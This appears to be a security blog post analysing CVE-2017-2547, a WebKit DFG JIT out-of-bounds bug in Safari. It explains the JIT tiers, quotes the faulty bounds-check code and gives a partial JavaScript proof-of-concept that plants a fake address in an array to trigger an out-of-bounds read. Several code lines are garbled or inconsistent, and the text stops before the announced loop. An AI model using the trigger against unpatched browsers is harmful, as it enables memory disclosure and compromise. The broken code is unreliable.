Analysis of an Out-0f-Bounds Webkit JIT bug in the Safari Browser (CVE-2017-2547)
Browsers have been one of the most effective attack vectors from an offensive point of view. In most cases, a browser serves as good entry point to a chain of exploits that lead to full system compromise due to their nature of single clicks.
This blog post will focus on the basics of JIT Bugs and why they are critical using CVE-2017-2547,a winning Pwn2Own safari bug, as a case study. This specific bug is very interesting since it can be used to achieve both an info-leak and act as a write primitive.
Introduction to Webkit Javasacript engine
The webkit Javascript engine uses a four-tier strategy to optimize Javascript name: i) The LLInt (Low Level Interpreter) -> Handles the first function excution. Handles statement execution between 1 to 100 times or function been called 1 to 6 times respective of which comes first. ii) Baseline JIT -> Handles statement execution between 101 to 1000 times or function been called 7 to 66 times respective of which comes first. iii) DFG JIT (Data Flow Graph JIT) -> Handles statement execution between 1001 to 100000 times or function been called more than 66 times respective of which comes first. iv) FTL JIT (Faster Than Light JIT) -> Handles statement execution between above 100000 times.
Later in 2016 B3 JIT was added but won't be discussed at the moment.
The boundary used above is made possible by a technique called on-stack replacement (OSR). OSR makes it possible to deconstruct bytecode state at bytecode instruction boundaries.As a result, OSR is useful for being able switch engines in the middle of execution.
Understanding the bug
When using arrays it is important for JIT engines to determine the bounds else if there is a problem in doing the above it ends up leading to a out of bound bugs. This in most cases results to reading out some data and the result may be crucial if the data is trivial.
In order to achieve the above, the JIT engine will try get the various bounds and try them so as it can determine the minimum and maximum bounds. The code below shows how the DFG JIT try to determine the minimum and maximum bounds.
An intersting question comes up when thinking of this logic. How does DFG JIT handle very high bounds?
1
2
3
4
5
6
7
//This loop is reached if we have no more keys to read.
if (!data.m_key.m_source) {
minNode = 0; ---> set minimum node to Zero
maxNode = m_insertionSet.insertConstant(
nodeIndex, maxOrigin, jsNumber(range.m_maxBound)); --> take the maximum bond and save it.
}
Taking a careful look at the above it is evident that even when the source can’t be read, the very high bound value is used as the maximum bound. This would surely lead to an Out of Bound read when triggered.
Triggering the bug
To trigger the above bug we must meet the following conditions i) We need to have two arrays the first one with target address eg 0x414141414140 and the second one with a string array respectievly. ii) Trigger DFG JIT to be used -> To achieve this we must call a function more than 66 times or statement more than 1000 - 100000 times. iii) We need to have two arrays the first one with target address eg 0x414141414140 and the second one with a string array respectievly. iii) To enter in this if statement we need to ensure that we have a negative bound in the range of the array (which means m_source will be null and range.m_minBound will be less that zero). In addition, this will end up trying to read contents of the first array.
Below is the POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
functionenterDFGJIT() {
// emphasize call DFG JIT for loop optimization since this function will be called 100000 which is the threeshold for DFG JIT
for (var i = 0; i < 2000; ++i) {
// arr is an array of type string but here DFG JIT will try it out as an Integer array due context it is used in.
arr[0] - arr[1]; // can be substituted with any other statement eg print("DFG JIT called").
}
/** iii) At this point operation operationValueAdd is perfomed and DFG JIT assumes that arr is a String array since arr[-3] is undefined hence it will do a string concatination this can be seen infunction jsAdd in jsc
if (!data.m_key.m_source) { ---> check ifsource exists
if (range.m_minBound < 0) ---> minimum bound in range is less that 0
minNode = 0; ----> set minNode to 0
maxNode = m_insertionSet.insertConstant(
nodeIndex, maxOrigin, jsNumber(range.m_maxBound)); ----> set maxnode as the highest bound value in range
**/
return (arr[-3] + arr[2]); // this will try read arr1[3]
}
// when DFG JIT meets the next node ie the next array it will use the same optimization assumptions it made in the previous node which means that it will try to read data at index 3.5448480588962e-310( 0x414141414140)
i) // Create two arrays
var arr1 = [
3.5448480588962e-310,
3.5448480588962e-310,
3.5448480588962e-310,
3.5448480588962e-310
];
var arr = [
'0',
'1',
'2',
'3',
];
// ii) Create a big Loop so a we can enter DFG JIT